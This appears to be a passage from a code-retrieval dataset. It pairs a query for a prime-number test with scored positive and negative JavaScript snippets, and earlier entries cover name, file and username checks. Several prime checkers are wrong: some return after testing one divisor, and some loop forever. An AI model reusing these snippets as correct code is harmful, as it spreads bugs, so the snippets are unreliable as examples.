"da2b1ed3f0e6bb717de61c2a224bbefb", "score": "0.52895206", "text": "async uniqueFullNameCount () {\n const nameData = await this.trimData(this.inFile)\n const uniqueFullNames = nameData.filter(this.uniqueElement)\n console.log('1.) The unique count of full names is ', uniqueFullNames.length)\n const writeData = '1.) The unique count of full names is ' + uniqueFullNames.length + '\\n' + '\\n'\n this.appendSolution(this.outFile, writeData)\n }", "title": "" }, { "docid": "573d343f069c76e5d860783d80a7862e", "score": "0.52860236", "text": "function fnCheckFileExists(filename)\n{\n\t$.ajax({\n\t //url:\"logs/\"+filename,\n url:filename,\n\t type:'HEAD',\n\t\t async: false,\n\t error: function()\n\t \t{\n\t\t\tcheckFileExistsStatus = false;\n\t\t\treturn false;\n\t\t},\n\t success: function()\n\t \t{\n\t\t\tcheckFileExistsStatus = true;\n\t\t\treturn true;\n\t\t},\t \n\t});\n\treturn checkFileExistsStatus;\n}", "title": "" }, { "docid": "74d19889626e42bc82cb3391d9b63d45", "score": "0.52726483", "text": "function isValidName(name) {\r\n return name.trim().length > 2;\r\n }", "title": "" }, { "docid": "acebc0c69b25f0b47cc177a51569f0fa", "score": "0.5265517", "text": "function nameValidator() {\n const nameValue = nameInput.value;\n const validName = /.+/.test(nameValue); \n return validName;\n}", "title": "" }, { "docid": "d58f3af38df03274bd7681c8565999c2", "score": "0.5265514", "text": "function check(file)\n\t{\n\tvar filename=file.value;\n\tvar ext=filename.substring(filename.lastIndexOf('.')+1);\n\t\tif(ext==\"jpg\" || ext==\"png\" || ext==\"jpeg\" || ext==\"gif\" || ext==\"JPG\" || \n\t\text==\"PNG\" || ext==\"JPEG\" || ext==\"GIF\")\n\t\t{\n\t\tdocument.getElementById(\"submit\").disabled=false;\n\t\tdocument.getElementById(\"msg1\").innerHTML=\"\";\n\t\t}\n\t\telse\n\t\t{\n\t\tdocument.getElementById(\"msg1\").innerHTML=\"! Please upload only JPG , GIF , JPEG File\";\n\t\tdocument.getElementById(\"submit\").disabled=true;\n\t\t}\n\t}", "title": "" }, { "docid": "9aa220987a8347d8f5e95e2c7a2be266", "score": "0.5248085", "text": "function fc_UploadFile_Validar(idUpload) { \n var file = document.getElementById(idUpload); \n var fileName=file.value; \n\n fileName = fileName.slice(fileName.lastIndexOf(\"\\\\\") + 1); \n tipoError = -1;\n if ( fileName.length > 0 )\n {\n var ext = (fileName.toLowerCase().substring(fileName.lastIndexOf(\".\")))\n var listado = new Array(\".xls\",\".csv\");\n var ok = false;\n for (var i = 0; i < listado.length; i++){\n if (listado [i] == ext) { \n ok = true;\n break; \n }\n } \n if(ok){ \n tipoError = 0;\n }else{\n tipoError = 2;\n }\n }\n else\n { \n tipoError = 1; \n }\n return tipoError; \n}", "title": "" }, { "docid": "1bf0f1e1175b9abd87124c49923136f8", "score": "0.5237493", "text": "function checkUnique2(str) {\n if (typeof str !== \"string\") {\n return false;\n } else if (str.length > 128) {\n return false; // must be dupes if we have more than 128 characters \n }\n for (i = 0; i < str.length; i++) {\n for(j = i + 1; j < str.length; j++) {\n if (str[i] === str[j]) {\n console.log(`'${str[i]}' == '${str[j]}'`);\n return false;\n }\n }\n }\n return true;\n}", "title": "" }, { "docid": "0196637aa3cc64193fe5358ad6bf7610", "score": "0.5235709", "text": "function fn_getuniquefilename()\r\n{\r\n\tvar indate,inthr,intmi,intsec;\r\n\tindate = aqConvert.DateTimeToFormatStr(aqDateTime.Today(),\"%b_%d_%y\");\r\n\tinthr = aqDateTime.GetHours(aqDateTime.Now());\r\n\tintmi = aqDateTime.GetMinutes(aqDateTime.Now());\r\n\tintsec = aqDateTime.GetSeconds(aqDateTime.Now());\r\n\treturn indate + \"-\" + inthr + \"_\" + intmi + \"_\" + intsec;\r\n\t\r\n}", "title": "" }, { "docid": "b852a54d7598427d400f80879189e7fb", "score": "0.52328515", "text": "function duplicate_md5(md5)\n{\n\tprint(\"Searching for duplicate file (via MD5 digest)\");\n\tvar md5_file=new File(attachment_dir + \"md5.lst\");\n\tif(!md5_file.open(\"r\"))\n\t\treturn(null);\n\n\tvar duplicate=false;\n\tvar str;\n\twhile(!md5_file.eof && !duplicate) {\n\t\tstr=md5_file.readln();\n\t\tif(str==null)\n\t\t\tbreak;\n\t\tif(str.substr(0,32)==md5)\n\t\t\tduplicate=true;\n\t}\n\tmd5_file.close();\n\treturn(str);\n}", "title": "" }, { "docid": "42ee7094904227f2f1a0a31268ed8dbd", "score": "0.5228265", "text": "rename(filename) {\n\t\t\tvar split = filename.split('.');\t// split filename by .(extension)\n\t\t\tvar fname = split[0];\t// filename without extension\n\t\t\tvar ext = split[1];\n\t\t\tvar name=\"\";\n\t\t\tif (uploadProjectName!=='')\n\t\t\t\tname =`/${uploadCat}/${uploadProjectName}/${fname}_${count++}.${ext}`;\n\t\t\telse \n\t\t\t\tname = `/${uploadCat}/${fname}.${ext}`;\n\t\t\tconsole.log(name);\n\t\t\treturn (name);\n\t\t}", "title": "" }, { "docid": "986da6dfdaec0b6ad9d6f368764db2b4", "score": "0.5227527", "text": "static async usernameCheck(username) {\n const duplicateCheck = await db.query(\n `SELECT username \n FROM users \n WHERE UPPER(username) = UPPER($1)`,\n [username]\n );\n // returns true if username is already in use\n return duplicateCheck.rows.length > 0;\n }", "title": "" }, { "docid": "db9cc5ec062bcb7c70f743d79bbb1472", "score": "0.52273446", "text": "function imageNameCheck(string)\n {\n //http://stackoverflow.com/questions/336210/regular-expression-for-alphanumeric-and-underscores\n var res = string.match(/^[a-z0-9._ -]+$/i);\n if(res==null)\n {\n swal(\"Oops...\", \"Only English alphabet, numbers, space, '.', '-' and '_' is allowed for image/video name\", \"error\");\n return false;\n }\n else\n return true;\n }", "title": "" }, { "docid": "63795c97d1d8c1d613c0de932104065b", "score": "0.52225184", "text": "async checkUsernameUnique () {\n\t\tif (this.notSaving && !this.teamIds) {\n\t\t\t// doesn't matter if we won't be saving anyway, meaning we're really ignoring the username\n\t\t\treturn;\n\t\t}\n\t\tlet teamIds = this.teamIds || [];\n\t\tif (this.existingModel) {\n\t\t\tconst existingUserTeams = this.existingModel.get('teamIds') || [];\n\t\t\tif (ArrayUtilities.difference(existingUserTeams, teamIds).length === 0) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tteamIds = [...teamIds, ...this.existingModel.get('teamIds') || []];\n\t\t}\n\t\tconst username = this.attributes.username || (this.existingModel ? this.existingModel.get('username') : null);\n\t\tif (!username) {\n\t\t\t// username not provided === no worries\n\t\t\treturn;\n\t\t}\n\t\t// check against all teams ... the username must be unique for each\n\t\tconst userId = this.existingModel ? this.existingModel.id : null;\n\t\tconst usernameChecker = new UsernameChecker({\n\t\t\tdata: this.data,\n\t\t\tusername,\n\t\t\tuserId,\n\t\t\tteamIds,\n\t\t\tresolveTillUnique: this.usernameCameFromEmail \t// don't do an error on conflict, instead append a number to the username till it's unique\n\t\t});\n\t\tconst isUnique = await usernameChecker.checkUsernameUnique();\n\t\tif (isUnique) {\n\t\t\tthis.attributes.username = usernameChecker.username;\t// in case we forced it to resolve to a non-conflicting username\n\t\t\treturn;\n\t\t}\n\t\tif (this.ignoreUsernameOnConflict) {\n\t\t\tif (!this.existingModel || !this.existingModel.get('isRegistered')) {\n\t\t\t\t// in some circumstances, we tolerate a conflict for unregistered users by just throwing away\n\t\t\t\t// the supplied username and going with the first part of the email, but we still need to resolve it\n\t\t\t\tthis.attributes.username = UsernameValidator.normalize(\n\t\t\t\t\tEmailUtilities.parseEmail(this.attributes.email).name\n\t\t\t\t);\n\t\t\t\tthis.usernameCameFromEmail = true;\t// this will force a resolution of uniqueness conflict, rather than an error\n\t\t\t\treturn await this.checkUsernameUnique();\n\t\t\t}\n\t\t}\n\n\t\t// on registration, we throw the error, but if user is being invited to the team, we tolerate it\n\t\tif (!this.userBeingAddedToTeamId) {\n\t\t\tthrow this.errorHandler.error('usernameNotUnique', {\n\t\t\t\tinfo: {\n\t\t\t\t\tusername: username,\n\t\t\t\t\tteamIds: usernameChecker.notUniqueTeamIds\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\t}", "title": "" }, { "docid": "9c78c7502e1e0cd16ec0a837e4f509c4", "score": "0.5217028", "text": "function cacheFileIsCachedReturnName(filePath)\n{\n var cacheImgName = \"\";\n var testFileShaName = cacheFileShaName(filePath);\n //console.log(\"file path:\" + filePath);\n //console.log(\"hledam:\" + testFileShaName);\n for(var i=0; i<cacheListShaFileName.length;i++)\n {\n //console.log(\"cahce file:\" + cacheListShaFileName[i]);\n //console.log(\"porovnavam s\" + cacheListShaFileName[i]);\n if(testFileShaName==cacheListShaFileName[i])\n {\n cacheImgName = cacheListShaFileName[i];\n //console.log(\"nasel jsem:\" + testFileShaName);\n }\n }\n\n return cacheImgName;\n\n}", "title": "" } ]
3f775627109aa4de995237c3eac5b440
function to test for prime numbers
[ { "docid": "c7e0d80d5514c4b430c98dfc6a06a451", "score": "0.0", "text": "function primeTest(testValue)\n{\n let isPrime = true;\n\n for ( let i = 2; i < testValue; i++)\n {\n if (testValue % i === 0)\n {\n isPrime = false;\n }\n }\n return isPrime;\n}", "title": "" } ]
[ { "docid": "010f7b5665a1a596dd16c1eef4567b2d", "score": "0.84667283", "text": "function isPrime() {}", "title": "" }, { "docid": "45136f1ad376bd14dc0812070a4fad05", "score": "0.83258075", "text": "function isPrime(num) {\n\n}", "title": "" }, { "docid": "77c8166c5dd34e7b751b3d3c3e83dbf7", "score": "0.82790834", "text": "function isPrime(n) {\n\n}", "title": "" }, { "docid": "a63f658278058ebee43c7d3de0949f95", "score": "0.8247493", "text": "function isPrime() {\n \n }", "title": "" }, { "docid": "63d086cdab2100453c6bc5fe7343a5a2", "score": "0.81561935", "text": "function isPrime(int){\nfor(var j = 2; j <= int/j; j++){\n if(int%j === 0){\n return false\n \n}\n }\n return true\n}", "title": "" }, { "docid": "fcb75821341a573dc964a04a5f2577ef", "score": "0.8132894", "text": "isPrime(num) {\r\n if (num <= 1)\r\n return false;\r\n for (var i = 2; i < num; i++) {\r\n if (num % i === 0) {\r\n return false;\r\n }\r\n }\r\n return true;\r\n }", "title": "" }, { "docid": "523d13fbbffea822c85dcd5969739d3b", "score": "0.81282234", "text": "isPrime(num){\n if(num<0){return false}\n for(let i=2; i<num; i++){\n if(num % i === 0){return false}\n }\n return num !== 1;\n }", "title": "" }, { "docid": "c7c27c99b111ab79b59e386049d56234", "score": "0.8119622", "text": "function is_prime(number){\n \n if(number <= 1){\n return false\n }\n \n for(var i = 2; i < number; i++){\n if(number % i === 0){\n return false\n }\n }\n return true\n}", "title": "" }, { "docid": "886ea2447165581b8d673cbb94148a8d", "score": "0.80822897", "text": "function isPrime(num){\n for(var i=2; i<num; i++){\n if(num % i == 0 || num <= 1){\n return false;\n } else{\n return true;\n }\n } \n }", "title": "" }, { "docid": "d56849cc394a3b4ecd11e62d51818a2d", "score": "0.80772215", "text": "function isPrime_v1( number ) {\n_debug(\"test1\");\n if( number < 2 || number != Math.floor(number) ) {\n _debug(\"[ERROR] Unexpected input \" + number + \" at function isPrime\");\n return false;\n }\n\n for( var i=3; i <= Math.sqrt(number); i+=2 ) {\n if( number % i ==0 ) {\n _debug( number + \" divisible by \" + i );\n return false;\n }\n }\n\n _debug( \"* \" + number + \" is prime\" );\n return true;\n}", "title": "" }, { "docid": "ffd78789eb3c79ad889118bd303b78b9", "score": "0.8074079", "text": "function isPrime (value) {\n // Put your code here...\n}", "title": "" }, { "docid": "6c05887b39cbbf2ecf6e7438bf524a2b", "score": "0.80681705", "text": "function isPrime(x){\n if(x==1){\n return false;\n }\n else if(x==2){\n return true;\n }\n else\n {\n for(i=2;i<x;i++){\n if(x%i==0){\n return false;\n }\n }\n \n return true;\n }\n\n}", "title": "" }, { "docid": "59a7e0f643f0e67508d554c32c82aef5", "score": "0.80512977", "text": "function test_prime(n){\n if (n===1){\n return false;\n }else if(n === 2){\n return true;\n }else{\n for(var x = 2; x < n; x++){\n if(n % x === 0){\n return false;\n }\n }\n return true; \n }\n}", "title": "" }, { "docid": "a15e190b9538323205802c3ba19ca316", "score": "0.8033275", "text": "function isPrime(n)\r\n{\r\n var flag=0;\r\n for(let i=2 ; i < n/2 ; i++) {\r\n if(n%i === 0) {\r\n flag = 1;\r\n break;\r\n }\r\n }\r\n if(flag == 0) {\r\n return true;\r\n }\r\n }", "title": "" }, { "docid": "8533aa9f4f5eeaf17ed6efc1511a5630", "score": "0.80290055", "text": "function checkPrime(number) {\n let i=2;\n while(i<number){\n\n if (number%i===0) \n return false; \n i++\n}\nreturn true;\n}", "title": "" }, { "docid": "87c7e75bd34ed40ad1b518b0cd7daf33", "score": "0.8022235", "text": "function primeNumber(number) {\n if (number % number === 0 && number % 1 === 0 && number % 2 !== 0 && number % 3 !== 0) {\n return \"True\";\n } else {\n return \"False\";\n }\n}", "title": "" }, { "docid": "8a4b24bfd580e343a6efbc30d2183a6b", "score": "0.80199593", "text": "function isPrime(n){\n var multiplos=0;\n var flag=false;\n for (var i=1; i < n; i++){\n if (n/i% 1 == 0){\n multiplos++;\n }\n }\n return multiplos > 1 ? flag= false : flag= true;\n }", "title": "" }, { "docid": "f03e54f03c624193231eda2af36877ad", "score": "0.8008242", "text": "function isPrime(number){\n if(number < 2){\n return false;\n };\n for(var i = 2; i < number; i++){\n if(number % i === 0){\n return false;\n };\n }\n return true;\n}", "title": "" }, { "docid": "eb653c61005b5edd8ef6569fb8b952a0", "score": "0.8003614", "text": "function checkForPrime(num){\n for(let i = 2; i < num; i++){\n if(num % i == 0){\n return false;\n }\n }\n return true;\n}", "title": "" }, { "docid": "589ea13da7d2e0e80448fc4fb0fe896a", "score": "0.7967568", "text": "function isPrime(n)\r\n {\r\n var flag=0;\r\n for(let i=2 ; i < n/2 ; i++) {\r\n if(n%i === 0) {\r\n flag = 1;\r\n break;\r\n }\r\n }\r\n if(flag == 0) {\r\n return true;\r\n }\r\n }", "title": "" }, { "docid": "e4da6ba7ee87e8cf74daf8154f0a5daa", "score": "0.7964365", "text": "function isPrime(n){\n//check if n is a multiple of 2\n if (n%2 == 0) {\n return false;\n }\n //if not, then just check the odds\n for(var i=3;i*i<=n;i+=2) {\n if(n%i==0){\n return false;\n }\n }\n return true;\n\n}", "title": "" }, { "docid": "b7de5655c9c172aed4f06d4c57464097", "score": "0.7945717", "text": "function isPrime(number) {\r\n if (number >= 2) {\r\n let flag = 0;\r\n for (let index = 2; index <= number / 2; index++) {\r\n if (number % index == 0) {\r\n flag = 1;\r\n break;\r\n }\r\n }\r\n if (flag == 0)\r\n return true;\r\n else\r\n return false;\r\n }\r\n else\r\n return false;\r\n}", "title": "" }, { "docid": "1197412495d6b1cd6c8afd92637ff457", "score": "0.79359215", "text": "function is_prime(num) {\n if (num === 1) return true;\n if (num === 2) return true;\n for (var i = 2; i <= Math.floor(Math.sqrt(num)); i++) {\n if (num%i === 0) return false;\n }\n return true;\n}", "title": "" }, { "docid": "3f69ba547907f05884bddb0209ff53a4", "score": "0.79319865", "text": "function isPrime(element){\n if(element==0||element==1){\n return false\n }\n else if(element>1){\n for(let i=2;i<parseInt(element);i++){\n if(element%i==0){\n return false\n }\n }\n\n return true\n }\n \n}", "title": "" }, { "docid": "ee42b15d9c6c7039ce98690408c715fe", "score": "0.7931429", "text": "function isPrime(n)\n{\n for(let i=2; i<n;i++){\n if(n%i==0) \n {\n return 0;\n }\n }\n\n return 1;\n}", "title": "" }, { "docid": "88dbb2b7d850784719eb041307431c87", "score": "0.7913517", "text": "function isPrime(n){\n\tif (!isPrime.cache){\n\t\tisPrime.cache = {};\n\t}\n\tif (typeof isPrime.cache[n] !== 'undefined')\n\t\treturn isPrime.cache[n];\n\n\tconsole.log('processing ', n);\n\tisPrime.cache[n] = true;\n\tfor(var index = 2, count = (n/2); index < count; index++){\n\t\tif (n % index === 0){\n\t\t\tisPrime.cache[n] = false;\n\t\t\tbreak;\n\t\t}\n\t}\n\treturn isPrime.cache[n];\n}", "title": "" }, { "docid": "ef37785f3788ba6b879c71e61abd7393", "score": "0.7912789", "text": "function isPrime(num){\n for(var i=2; i < num; i++){\n \tif(num%i === 0){\n \t\treturn false;\n \t}\n }\n return true;\n}", "title": "" }, { "docid": "31f4ee8fa4fed73210b4d1b763593266", "score": "0.7899385", "text": "function isPrime(integer) {\n for (var x = 2; x < integer; x++) {\n if (integer % x === 0) {\n console.log(integer + \" is divisible by \" + x);\n return false;\n }\n }\n return true;\n}", "title": "" }, { "docid": "4f6ba15477722c3374262b4edfb8c506", "score": "0.7890481", "text": "function checkPrimeNumber2(x) {\n if (x <= 1) {\n\treturn false;\n }\n\n let i = 2;\n\n while ( i < x) {\n\tif (x % i == 0 ) {\n\t return false;\n\n\t}\n }\n\n return true;\n \n}", "title": "" }, { "docid": "b9be94e7ff1d1fba518b419c6f4ee868", "score": "0.7884979", "text": "function isPrime (number) {\n if(number === 1) {\n return false;\n }\n else if(number === 2) {\n return true;\n }else{\n for (var i = 2; i<number; i++) {\n if(number % i === 0)\n return false;\n }\n }\n return true;\n}", "title": "" }, { "docid": "49318957001f1e9e2ccf433545731f98", "score": "0.7869356", "text": "function isPrime(num) {\n if (num == 2) {\n return true;\n } else if (num > 1) {\n for (let i = 2; i < num; i++){\n if (num % i !== 0) {\n return true;\n } else if (num === i * 1) {\n return false\n } else {\n return false\n }\n }\n }\n }", "title": "" }, { "docid": "5883d4850747c619a6fd2a44f519bbdb", "score": "0.7868632", "text": "function isPrime(n){\n if (n===1) {\n return false;\n }else if(n === 2){\n return true;\n }else{\n for(var x = 2; x < n; x++){\n if(n % x === 0){\n return false;\n }\n }\n return true; \n }\n }", "title": "" }, { "docid": "c54e405b68b7cc5288009b09a96cab8d", "score": "0.7868086", "text": "function is_prime(number) {\n\tfor (var i = 2; i <= Math.sqrt(number); i++) {\n\t\tif (number % i === 0) {\n\t\t\treturn false;\n\t\t} \n\t}\n\treturn true;\n}", "title": "" }, { "docid": "056f1a7c59535c400eb14abfb087bd70", "score": "0.785936", "text": "static isPrime(n) {\n for (var i = 2; i < n / 2; i++) {\n if (i % n == 0) {\n return false;\n }\n }\n return true;\n }", "title": "" }, { "docid": "3562cb43ecb398972758671aae2de8f1", "score": "0.785624", "text": "function is_prime(num){\n var sqrt = Math.sqrt(num);\n for(var i = 2; i <= sqrt; i++){\n if(num % i == 0){\n return false;\n }\n }\n return true;\n}", "title": "" }, { "docid": "997fde55cf5d0c0049c76caabd6392ca", "score": "0.78554165", "text": "function isPrime(val){\n\tfor (var i = 2 ; i< val ; i++){\n\t\tif (val % i ===0){\n\t\t\treturn false; \n\t\t}\n\n\t}\n\treturn true ; \n}", "title": "" }, { "docid": "5a15ea184f2d082f4489359e72e77b4e", "score": "0.78496635", "text": "function isPrimeNumber(x) {\n // viết code ở đây.\n if (x < 2) return false\n else if (x == 2 || x == 3) return true\n else if (x > 3) {\n var checkbool1 = 1;\n loop1:\n for (index = 2; index < (x / 2); ++index) {\n\n if (x % index == 0) {\n\n checkbool1 = 0;\n break loop1;\n }\n\n }\n if (checkbool1 == 0) return false;\n else return true;\n\n\n\n }\n}", "title": "" }, { "docid": "43827d2b870f631cf52ba04e007d6a32", "score": "0.78493017", "text": "function isPrime(num) {\r\n if(num < 2) return false;\r\n for (var i = 2; i < num; i++){\r\n if (num%i == 0) return false;\r\n }\r\n return true;\r\n }", "title": "" }, { "docid": "a43cd90451070e6b282084a86dd23302", "score": "0.78470135", "text": "function isPrime(number) {\r\n for (let factor = 2; factor < number; factor++)\r\n if (number % factor === 0) return false;\r\n return true\r\n}", "title": "" }, { "docid": "151e4e0a64731bc32122326ca096a8f2", "score": "0.7844044", "text": "function primeNumber(number) {\n var result = true;\n\n for(var i = 2; i < number; i++){\n if(number % i === 0){\n result = false;\n }\n }\n\n return result; \n}", "title": "" }, { "docid": "6f3aafdc69ed58c570ca595c4cc14f24", "score": "0.7838064", "text": "function test_prime(n) {\n for (var i = 3; i < n; i += 2) {\n if (n % i === 0) {\n return false;\n }\n // console.log(i);\n }\n return true;\n}", "title": "" }, { "docid": "629fb82c07e0c53c6b569432e1d5480a", "score": "0.7837258", "text": "function isPrimeNumber(number) {\n if (number <= 0) {\n return false;\n }\n for (var i = 0; i < number; i++){\n if (number % i === 0) {\n return false;\n }\n }\n return true;\n}", "title": "" }, { "docid": "5b5d7c172227a239f2e7456e0e309371", "score": "0.78367305", "text": "function isPrime(number) {\n if (number < 2) {\n return false; \n }\n \n for (let current = 2; current < number; current += 1) {\n if (number % current === 0) {\n return false; \n }\n }\n \n return true;\n}", "title": "" }, { "docid": "04681168de1b31a33cfc77e131ba9270", "score": "0.78294665", "text": "function isPrime(n){\n for(var i=2;i<=Math.floor(Math.sqrt(n));i++){\n if(n%i===0){\n return false;\n }\n }\n return true;\n}", "title": "" }, { "docid": "43d133ec184f586fdbb4593f24e978fa", "score": "0.7824629", "text": "function isPrime(n)\n{\n\n if (n===1)\n {\n return false;\n }\n else if(n === 2)\n {\n return true;\n }else\n {\n for(var x = 2; x < n; x++)\n {\n if(n % x === 0)\n {\n return false;\n }\n }\n return true; \n }\n}", "title": "" }, { "docid": "92cd6a7e0d3100ce65dee6b0e39e8369", "score": "0.7821834", "text": "function isPrime(num) {\n if (num === 2) {\n return true;\n } else if (num > 1) {\n for (var i = 2; i < num; i++) {\n if (num % i !== 0) {\n return true;\n } else if (num === i * i) {\n return false;\n } else {\n return false;\n }\n }\n } else {\n return false;\n }\n }", "title": "" }, { "docid": "ac91ce0fe1c960c6018aa9646d3b7bce", "score": "0.7814576", "text": "function isPrime(n) {\r\n var remi;\r\n var tru = 1; //\r\n for (i = n - 1; i > 1; i - 1) {\r\n remi = n%i;\r\n if (remi === 0) {\r\n tru = 0;\r\n }\r\n }\r\n if (n === 1) {\r\n tru = 0;\r\n }\r\n if (n === 2) {\r\n tru = 1;\r\n }\r\n if (tru === 1) {\r\n return true \r\n } else {\r\n return false \r\n }\r\n}", "title": "" }, { "docid": "bb085275766be11a0c495af32cf70b68", "score": "0.7814026", "text": "function isPrime (num) {\n if (num === 2) {\n return true;\n } else if (num > 0) {\n for (let i = 2; i < num; i++) {\n if (num % i !== 0) {\n return true;\n } else if (num === i * i) {\n return false;\n } else {\n return false;\n }\n }\n }\n}", "title": "" }, { "docid": "e09a1c60eba20358e6770494f5e7d40d", "score": "0.7810173", "text": "function isPrime(num) {\n\n for (let i = 2; i < num; i++) {\n if (num % i === 0) return false;\n }\n return true;\n}", "title": "" }, { "docid": "3dcb80699829c2c8cfb8fd6fcdcfe17e", "score": "0.78019255", "text": "function isPrime(num){\n\tfor (var i = 2; i < num; i++) {\n\t\tif (num % i == 0) {\n\t\t\treturn false;\n\t\t}\n\t};\n\treturn true;\t\n}", "title": "" }, { "docid": "7ef6f711598c999d767412b10278aecd", "score": "0.780044", "text": "function isPrime(i){\n if(i<2) return false;\n else{\n for(var j = 2;j<=Math.sqrt(i);j++){\n if(i%j==0){\n return false;\n break;\n }\n }\n }\n return true;\n}", "title": "" }, { "docid": "65820f3aa22ccd1a7aeed66538aba119", "score": "0.7798597", "text": "function isPrime(number) {\n for(var a = 2; a < number ; a ++) {\n if(number % a === 0){\n return false;\n }\n }\n return true;\n}", "title": "" }, { "docid": "06aa67f7134c2dc2e0e388bc105bcfd2", "score": "0.77954555", "text": "function isPrime(n)\n{\n let count=0;\n for(let i=1;i<=n;i++)\n {\n if(n%i==0)\n {\n count++;\n }\n if(count >2)\n {\n break;\n }\n }\n if(count<=2)\n {\n return true;\n }\n}", "title": "" }, { "docid": "826a422c342b8a2da7e6283f6b1ff0a6", "score": "0.7789021", "text": "function isPrime (num) {\n for (var i = 2; i < num; i++) {\n if (num % i === 0) { return false }\n }\n return true\n}", "title": "" }, { "docid": "d8e709e31649857bc3a1472cdb82b011", "score": "0.7785333", "text": "function isPrime(prime) {\n\tfor(i = 2; i <= (prime/2); i++) {\n\t\t\tif(prime%i == 0){\n\t\t\t\treturn false;\n\t\t\t}\n\t}\n\treturn true;\n}", "title": "" }, { "docid": "0ad455cbd34c0ee6c536c78048df152a", "score": "0.77809024", "text": "function primeCheck (num) {\n if (num === 2) {\n return true\n } else {\n for(i = 2; i < num; i++) {\n if(num % i === 0) {\n return false\n }\n }\n return true\n }\n}", "title": "" }, { "docid": "72c269f0b197bebc1d459589c6864e8f", "score": "0.77797645", "text": "function isPrime(num) {\n return findFactors(num).length === 2;\n}", "title": "" }, { "docid": "650614d205a7dc36fefce7df6d8fba6f", "score": "0.77770764", "text": "function isPrime(a) {\n if (a === 1) {\n return false;\n } else if (a === 2) {\n return true;\n } else {\n for (var i = 2; i < a; i++) {\n\n if (a % i === 0) {\n return false;\n\n }\n }\n return true;\n }\n}", "title": "" }, { "docid": "f825f1a53dcfec02fac73fd67426de64", "score": "0.777672", "text": "function isPrime(num) {\n if(num < 2) return false;\n for (var i = 2; i < num; i++) {\n if(num%i==0)\n return false;\n }\n return true;\n}", "title": "" }, { "docid": "a4f8a18487328818eec8ffd3f248eaeb", "score": "0.7773978", "text": "function isPrime (number) {\n if (number === 2) {\n return true;\n } else if (number > 0) {\n for (let i = 2; i < number; i++) {\n if (number % i !== 0) {\n return true;\n } else if (number === i * i) {\n return false;\n } else {\n return false;\n }\n }\n }\n}", "title": "" }, { "docid": "a4f8a18487328818eec8ffd3f248eaeb", "score": "0.7773978", "text": "function isPrime (number) {\n if (number === 2) {\n return true;\n } else if (number > 0) {\n for (let i = 2; i < number; i++) {\n if (number % i !== 0) {\n return true;\n } else if (number === i * i) {\n return false;\n } else {\n return false;\n }\n }\n }\n}", "title": "" }, { "docid": "dae66a1b92af79b3f82067e3e4385f15", "score": "0.7770308", "text": "function isPrime(num) {\n for (var j = 2; j < num; j++) {\n //if num when divided by j divdes eveningly\n if (num % j === 0) {\n //return false because you've discover a number that is not prime\n return false;\n }\n }\n //else return true because it is prime\n return true;\n}", "title": "" }, { "docid": "fb6404bcae1360653e0e4f5894fcbb64", "score": "0.7770094", "text": "function isPrime (num) {\n if (num === 2) {\n return true;\n } else if (num > 1) {\n for (let i = 2; i < num; i++) {\n if (num % i !== 0) {\n return true;\n } else if (num === i * i) {\n return false;\n } else {\n return false;\n }\n }\n }\n}", "title": "" }, { "docid": "fb6404bcae1360653e0e4f5894fcbb64", "score": "0.7770094", "text": "function isPrime (num) {\n if (num === 2) {\n return true;\n } else if (num > 1) {\n for (let i = 2; i < num; i++) {\n if (num % i !== 0) {\n return true;\n } else if (num === i * i) {\n return false;\n } else {\n return false;\n }\n }\n }\n}", "title": "" }, { "docid": "11679be59e6fa6f3087580662a3d10db", "score": "0.7764406", "text": "function isPrime(x) {\n for (var i = 2; i <= x/2; i++) {\n if (x % i === 0) {\n return false\n }\n }\n return x > 1;\n}", "title": "" }, { "docid": "11679be59e6fa6f3087580662a3d10db", "score": "0.7764406", "text": "function isPrime(x) {\n for (var i = 2; i <= x/2; i++) {\n if (x % i === 0) {\n return false\n }\n }\n return x > 1;\n}", "title": "" }, { "docid": "e3ec616fd063644f890d7b0a0eddc41f", "score": "0.7764031", "text": "function checkPrimeNumber(n) {\n if (n === 1){\n return false\n } else if (n === 2) {\n return true\n } else {\n for (var i=2; i<n; i++) {\n if( n % i === 0){\n return false\n } else {\n return true;\n }\n }\n }\n}", "title": "" }, { "docid": "5d85fae77a6e7fd1d6b4f5ad2cff7086", "score": "0.7754763", "text": "function isPrime(num) {\n for(var i = 2; i < num; i++)\n if(num % i === 0) return false;\n return num > 1;\n }", "title": "" }, { "docid": "f5fd66c4d79a67be0b8473e7e185f159", "score": "0.77491343", "text": "function isPrime(num){\n num = Math.floor( Math.abs(num) );\n if(num < 2){\n return false;\n }\n\n var noOfFactors = 2;\n num = parseInt(num);\n for(var i = 2; i < num; i++){\n if(num % i == 0){\n noOfFactors++;\n }\n }\n\n return (noOfFactors === 2);\n }", "title": "" }, { "docid": "2d778eb175ad2f3a536d810585f79cc1", "score": "0.77460736", "text": "function isPrime(num) {\n for (var ii = 2; ii < num; ii++) {\n if (num % ii === 0) {\n return false;\n }\n }\n return true;\n}", "title": "" }, { "docid": "813654229725459eb5e4090864f2d533", "score": "0.7745336", "text": "function isPrime(num) {\n for (var i = 2; i < num; i++) {\n if (num % i === 0) {\n return false\n }\n }\n return num > 1;\n}", "title": "" }, { "docid": "5853e08dfd6f2c7f114a901833e4af44", "score": "0.774258", "text": "function isPrime (n)\n\n// from http://stackoverflow.com/questions/11966520/how-to-find-prime-numbers\n//\n// Credit: David S\n// http://stackoverflow.com/users/414414/davids\n// \n\n{\n if (n < 2) return false;\n\n /**\n * An integer is prime if it is not divisible by any prime less than or equal to its square root\n **/\n\n var q = parseInt(Math.sqrt (n), 10);\n for (var i = 2; i <= q; i++)\n {\n if (n % i == 0)\n {\n return false;\n }\n }\n\n return true;\n}", "title": "" }, { "docid": "2bcc748ae0b3a8f35ec655762fd5dbea", "score": "0.774214", "text": "function checkedPrime(num){\n let verify = true;\n for(let i=2;i<=(num/2);i++){\n if(num % i ==0){\n verify = false;\n }\n }\n return verify;\n}", "title": "" }, { "docid": "6fdcc8940e3dcb8eeed3a1ea1e503ea8", "score": "0.77420574", "text": "function isPrime(num) {\n for(let i = 2; i < num; i++) {\n if(num % i === 0) {\n return false\n }\n }\n\n return true;\n}", "title": "" }, { "docid": "565f4f7ee987e3a982c9e11c16fa0266", "score": "0.7738234", "text": "function is_prime(m) {\n for (let j = 2; j <= Math.sqrt(m); j++)\n if (m % j == 0) return false;\n return true;\n}", "title": "" }, { "docid": "5bf96b641069904bbcb63e0594325633", "score": "0.7737029", "text": "function isPrime(num) {\n if(num < 2) return false;\n for (var i = 2; i < num; i++) {\n if(num%i==0)\n return false;\n }\n return true;\n}", "title": "" }, { "docid": 